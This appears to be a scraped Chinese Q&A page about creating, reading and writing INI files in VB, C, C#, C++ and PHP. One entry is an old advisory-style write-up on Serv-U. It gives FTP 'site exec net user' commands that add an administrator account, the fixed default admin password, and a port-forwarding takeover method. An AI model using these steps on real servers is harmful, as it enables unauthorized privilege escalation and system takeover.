不能写入ini文件|C语言如何新建ini文件读取ini文件跟写入ini文件

㈠ 求助:VB读取、写入、修改、删除INI文件

汗、那个是为了方便你看的,你把它放到Formload里就行了,如下,改好的同楼上问,这不是一个标准的ini文件,以下按楼主要求作的按钮和文本框都用数组的ini文件保存到同目录下,名字为1.ini,可修改Private Type Info Name As String Num1 As String Num2 As StringEnd TypeDim a() As InfoDim FileName As StringPrivate Sub Combo1_Click()Text1(0).Text = a(Combo1.ListIndex).NameText1(1).Text = a(Combo1.ListIndex).Num1Text1(2).Text = a(Combo1.ListIndex).Num2End SubPrivate Sub Command1_Click(Index As Integer)If Index = 0 Then Open App.Path & FileName For Append As #1 Print #1, "" Print #1, Trim(Text1(0).Text) & "|" & Trim(Text1(1).Text) & "|" & Trim(Text1(2).Text) Close #1 a(UBound(a)).Name = Text1(0).Text a(UBound(a)).Num1 = Text1(1).Text a(UBound(a)).Num2 = Text1(2).Text ReDim Preserve a(UBound(a) + 1) MsgBox "添加成功" Call RefreshIniElseIf Index = 1 Then If Combo1.ListIndex >= 0 Then a(Combo1.ListIndex).Name = Text1(0).Text a(Combo1.ListIndex).Num1 = Text1(1).Text a(Combo1.ListIndex).Num2 = Text1(2).Text Open App.Path & FileName For Output As #1 Print #1, "[config]" For i = 0 To UBound(a) – 1 Print #1, Trim(a(i).Name) & "|" & Trim(a(i).Num1) & "|" & Trim(a(i).Num2) Next Close #1 MsgBox "修改成功" Call RefreshIni End IfElseIf Index = 2 Then If Combo1.ListIndex >= 0 Then For i = Combo1.ListIndex To UBound(a) – 2 a(i).Name = a(i + 1).Name a(i).Num1 = a(i + 1).Num1 a(i).Num2 = a(i + 1).Num2 Next ReDim Preserve a(UBound(a) – 1) Open App.Path & FileName For Output As #1 Print #1, "[config]" For i = 0 To UBound(a) – 1 Print #1, Trim(a(i).Name) & "|" & Trim(a(i).Num1) & "|" & Trim(a(i).Num2) Next Close #1 MsgBox "删除成功" Call RefreshIni End IfEnd IfEnd SubPrivate Sub RefreshIni()Dim b() As StringReDim Preserve a(0)i = 0Combo1.ClearText1(0).Text = ""Text1(1).Text = ""Text1(2).Text = ""Open App.Path & FileName For Input As #1Do While Not EOF(1) Line Input #1, Tempstr If InStr(Tempstr, "|") > 0 Then b = Split(Tempstr, "|") a(i).Name = b(0) a(i).Num1 = b(1) a(i).Num2 = b(2) Combo1.AddItem a(i).Name i = i + 1 ReDim Preserve a(i) End IfLoopClose #1End SubPrivate Sub Form_Load()FileName = "\1.ini" '修改ini文件名Call RefreshIniEnd Sub

㈡ C语言如何新建ini文件,读取ini文件跟写入ini文件

就是fopen()就可以新建文件吧,然后 fgetc(),fgets(),fputc(),fputs(),fseek(),feof(),rewind(),fread(),fwrite()等函数可以完成文件的读写以及定位等,内这些函数都在stdio.h中。例如要容建立一个temp.ini文件的话,就是main(){ FILE *fp; … if((fp=fopen("temp.ini","w"))==NULL) … fclose(fp);}

㈢ C#读写ini文件编译错误

是说,上面的声明既然都是静态的。而用的时候StringBuilder 对象却是非静态的。你把StringBuilder 改为static StringBuilder temp = new StringBuilder ( 255 ) ; 试试。还有,错误 4 参数 int.Parse(string)”说不能把StringBuilder 对象 直接转成int 你可以先把StringBuilder 转成string 对象才可以。。。或者简单些不要StringBuilder temp = new StringBuilder ( 255 )用这个。。直接用static string temp;

㈣ 怎么读写INI文件

INI文件的结构 INI文件是一种按照特点方式排列的文本文件。每一个INI文件构成都非常类似,由若干段落(section)组成,在每个带括号的标题下面,是若干个以单个单词开头的关键词(keyword)和一个等号,等号右边的就是关键字对应的值(value)。其一般形式如下: [Section1] KeyWord1 = Valuel KeyWord2 = Value2 …… [Section2] KeyWord3 = Value3 KeyWord4 = Value4 C#和Win32 API函数 C#并不像C++,拥有属于自己的类库。C#使用的类库是.Net框架为所有.Net程序开发提供的一个共有的类库——.Net FrameWork SDK。虽然.Net FrameWork SDK内容十分庞大,功能也非常强大,但还不能面面俱到,至少它并没有提供直接操作INI文件所需要的相关的类。在本文中,C#操作INI文件使用的是Windows系统自带Win32的API函数——WritePrivateProfileString()和GetPrivateProfileString()函数。这二个函数都位于“kernel32.dll”文件中。 我们知道在C#中使用的类库都是托管代码(Managed Code)文件,而Win32的API函数所处的文件,都是非托管代码(Unmanaged Code)文件。这就导致了在C#中不可能直接使用这些非托管代码文件中的函数。好在.Net框架为了保持对下的兼容,也为了充分利用以前的资源,提出了互操作,通过互操作可以实现对Win32的API函数的调用。互操作不仅适用于Win32的API函数,还可以用来访问托管的COM对象。C#中对Win32的API函数的互操作是通过命名空间“System.Runtime.InteropServices”中的“DllImport”特征类来实现的。它的主要作用是指示此属性化方法是作为非托管DLL的输出实现的。下面代码就是在C#利用命名空间“System.Runtime.InteropServices”中的“DllImport”特征类申明上面二个Win32的API函数: C#申明INI文件的写操作函数WritePrivateProfileString(): [ DllImport ( "kernel32" ) ] private static extern long WritePrivateProfileString ( string section , string key , string val , string filePath ) ; 参数说明:section:INI文件中的段落;key:INI文件中的关键字;val:INI文件中关键字的数值;filePath:INI文件的完整的路径和名称。 C#申明INI文件的读操作函数GetPrivateProfileString(): [ DllImport ( "kernel32" ) ] private static extern int GetPrivateProfileString ( string section , string key , string def , StringBuilder retVal , int size , string filePath ) ; 参数说明:section:INI文件中的段落名称;key:INI文件中的关键字;def:无法读取时候时候的缺省数值;retVal:读取数值;size:数值的大小;filePath:INI文件的完整路径和名称。 下面是一个读写INI文件的类 public class INIClass { public string inipath; [DllImport("kernel32")] private static extern long WritePrivateProfileString(string section,string key,string val,string filePath); [DllImport("kernel32")] private static extern int GetPrivateProfileString(string section,string key,string def,StringBuilder retVal,int size,string filePath); /// <summary> /// 构造方法 /// </summary> /// <param name="INIPath">文件路径</param> public INIClass(string INIPath) { inipath = INIPath; } /// <summary> /// 写入INI文件 /// </summary> /// <param name="Section">项目名称(如 [TypeName] )</param> /// <param name="Key">键</param> /// <param name="Value">值</param> public void IniWriteValue(string Section,string Key,string Value) { WritePrivateProfileString(Section,Key,Value,this.inipath); } /// <summary> /// 读出INI文件 /// </summary> /// <param name="Section">项目名称(如 [TypeName] )</param> /// <param name="Key">键</param> public string IniReadValue(string Section,string Key) { StringBuilder temp = new StringBuilder(500); int i = GetPrivateProfileString(Section,Key,"",temp,500,this.inipath); return temp.ToString(); } /// <summary> /// 验证文件是否存在 /// </summary> /// <returns>布尔值</returns> public bool ExistINIFile() { return File.Exists(inipath); } }

㈤ c++写入ini文件 WritePrivateProfileString函数参数错误,求大神,我用的是控制台。vs2015

还是好好看看 ini文件相关操作的API函数说明吧:将信息写入.INI文件中1.所用的WINAPI函数原型为:BOOL WritePrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTR lpString,LPCTSTR lpFileName);其中各参数的意义LPCTSTR lpAppName 是INI文件中的一个字段名.LPCTSTR lpKeyName 是lpAppName下的一个键名,通俗讲就是变量名.LPCTSTR lpString 是键值,也就是变量的值,不过必须为LPCTSTR型或CString型的.LPCTSTR lpFileName 是完整的INI文件名,如果没有指定完整路径名,则会在windows目录(默认)查找文件。如果文件没有找到,则函数会在windows目录创建它。2.具体使用方法:设现有一名学生,需把他的姓名和年龄写入 c:\stud\student.ini 文件中.CString strName,strTemp;int nAge;strName="张三";nAge=12;::WritePrivateProfileString("StudentInfo","Name",strName,"c:\\stud\\student.ini");此时c:\stud\student.ini文件中的内容如下:[StudentInfo]Name=张三3.要将学生的年龄保存下来,只需将整型的值变为字符型即可:strTemp.Format("%d",nAge);::WritePrivateProfileString("StudentInfo","Age",strTemp,"c:\\stud\\student.ini");将信息从INI文件中读入程序中的变量1.所用的WINAPI函数原型为:DWORD GetPrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTR lpDefault,LPTSTR lpReturnedString,DWORD nSize,LPCTSTR lpFileName);其中各参数的意义前二个参数与 WritePrivateProfileString中的意义一样.lpDefault : 如果INI文件中没有前两个参数指定的字段名或键名,则将此值赋给变量.lpReturnedString : 接收INI文件中的值的CString对象,即目的缓存器.nSize : 目的缓存器的大小.lpFileName : 是完整的INI文件名.2.具体使用方法:现要将上一步中写入的学生的信息读入程序中.CString strStudName;int nStudAge;GetPrivateProfileString("StudentInfo","Name","默认姓名",strStudName.GetBuffer(MAX_PATH),MAX_PATH,"c:\\stud\\student.ini");执行后 strStudName 的值为:"张三",若前两个参数有误,其值为:"默认姓名".注意:如果在读入的ini文件不存在,则按默认值生成相应的ini文件

㈥ 如何对ini文件写入

好像不可以.2013年8月18日21时34分43秒

㈦ ini文件WritePrivateProfileString无法写入,为什么

配置文件中经常用到ini文件,在VC中其函数分别为:写入.ini文件:BOOL WritePrivateProfileString(LPCTSTR lpAppName, // INI文件中的一个字段名[节名]可以有很多个节名LPCTSTR lpKeyName, // lpAppName 下的一个键名,也就是里面具体的变量名LPCTSTR lpString, // 键值,也就是数据LPCTSTR lpFileName // INI文件的路径);读取.ini文件:DWORD GetPrivateProfileString(LPCTSTR lpAppName, // INI文件中的一个字段名[节名]可以有很多个节名LPCTSTR lpKeyName, // lpAppName 下的一个键名,也就是里面具体的变量名LPCTSTR lpDefault, // 如果lpReturnedString为空,则把个变量赋给lpReturnedStringLPTSTR lpReturnedString, // 存放键值的指针变量,用于接收INI文件中键值(数据)的接收缓冲区DWORD nSize, // lpReturnedString的缓冲区大小LPCTSTR lpFileName // INI文件的路径

㈧ 安装AVA提示不能打开要写入的文件data.ini

你好!首先要重新下载一个重新下载完成后如果还是这个样子就是因为你的C盘空间太小,AVA安装是要先安装到C盘,开始不允许你自己选择安装路径,必须先写到C盘后,才允许你安装或选择路径,你清理下你的C盘,空出大概三个G的空间就可以了打字不易,采纳哦!

㈨ 求助:win2003下,Serv-u使用时候提示 无法写入 ServUadmin.ini

Serv-U FTP Server为RhinoSoft出品的一款Ftp Server软件,可运行在Microsoft Windows平台下。ServUAdmin.exe是ftp server管理界面,由于ServUAdmin.exe对异常的不正确处理,导致在Serv-U被注册为系统服务的情况下,本地普通用户进行权限提升,得到超级用户的权限。远程用普通用户权限,可以通过3389登陆的也可以进行提升。测试方法:测试环境:MICROSOFT WINDOWS 2000(SP4)+Serv-U FTP Server 4.0.0.4MICROSOFT WINDOWS SERVER 2003, ENTERPRISE EDITION+Serv-U FTP Server 4.0.0.4测试方法:一、安装Serv-U以普通用户登陆,权限不够,不能安装,重新以administrator登陆安装Serv-U(默认安装,此时Serv-U的启动方式为自动启动,已经注册为系统服务),安装好之后,启动Serv-U,然后就注销administrator。二、提升权限用普通用户登陆,进入Serv-U FTP Server的安装目录,运行ServUAdmin.exe,新建域,而且添加用户,新建用户ftpuser,把主目录设置为系统目录C:,此时用户ftpuser的权限为R—-L–I,将用户权限设置为系统管理员,甚至更高级别的,或者将用户对目录的访问权限设置为读写删除执行,跳出ServUAdmin.ini不能写入,ServUAdmin.exe同时以system权限对ServUAdmin.ini进行改写。这样ftpuser通过ftp就具有了对系统目录的读写删除执行的权限。这样就可以进行权限提升了,你可以传个木马上去,再运行,或者直接添加系统用户。ftp>open ipConnected to ip.220 Serv-U FTP Server v4.0 for WinSock ready…User (ip:(none)): ftpuser //输入ftp用户331 User name okay, please send complete E-mail address as password.Password:password //密码230 User logged in, proceed.ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。250 Directory changed to /WINNTftp>cd system32 //进入system32目录250 Directory changed to /WINNT/system32ftp>quote site exec net.exe user cc cc /add //利用net命令添加用户。200 EXEC command successful (TID=33).ftp>quote site exec net.exe localhost administrators cc /add //提升为超级用户漏洞分析1、只能以administrator安装Serv-U,其配置文件ServUDaemon.ini和ServUAdmin.ini。ntfs格式默认情况普通用户只具有读和运行的权限(默认情况下只有admin和system有写权限),无法通过对他们改写来提升权限。2、当Serv-U成为系统服务的时候,就具有了system的权限,ServUAdmin.exe虽然进行了权限验证,但由于对异常处理不正确,对ServUAdmin.ini进行了写操作,从而导致了漏洞的产生。感谢紫幻,没有他那篇文章,我就不会打Serv-U的主意。声明本本仅用来描述可能存在的安全问题,作者本人不为此安全公告提供任何保证或承诺。由于传播、利用此文章提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。作者拥有对此安全公告的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者本人允许,不得任意修改或者增减此文章公告内容。EYAS注:serv-u默认监听127.0.0.1:43958,所以只有在本机才能连接这个管理端口。serv-u默认管理账号是LocalAdministrator,默认密码是"#[email protected]$ak#.lk;[email protected]",这个密码在同一个版本中是固定的,也许在不同的版本中也是固定的。假如目标机器IP是192.168.0.1,假如你已经有了一个目标机器的普通权限的SHELL,那么你在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"serv-uadmin"新建SERVER,192.168.0.1:12345User:LocalAdministratorPass:"#[email protected]$ak#.lk;[email protected]",那么目标机器的serv-u就归你管了。(不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了)注释:————linuxjava该漏洞已经很老了,但是这里贴出只是让大家学习一种方法,和知晓一些原理。突破serv-u应该是我们提升权限用的最多的方法了,相信每一个熟悉提升权限的hackboy都应该对serv-u的各个版本了如执掌了把?就象熟悉win的各个版本一样。有条件的朋友可以安装一个serv-u在自己的机子上试试。

㈩ php 写入ini文件(高分悬赏)

给个思路吧来,第一我干的话会用自xml格式,php操作xml格式很容易,第二实在要这样,建议干脆整一数据库,把ini文件数据化,然后就好办了。否则文件的读写就要用正则表达式分解再合成,或者用嵌套的explode按“[”,“]”,“=”分隔,繁琐的很


赞 (0)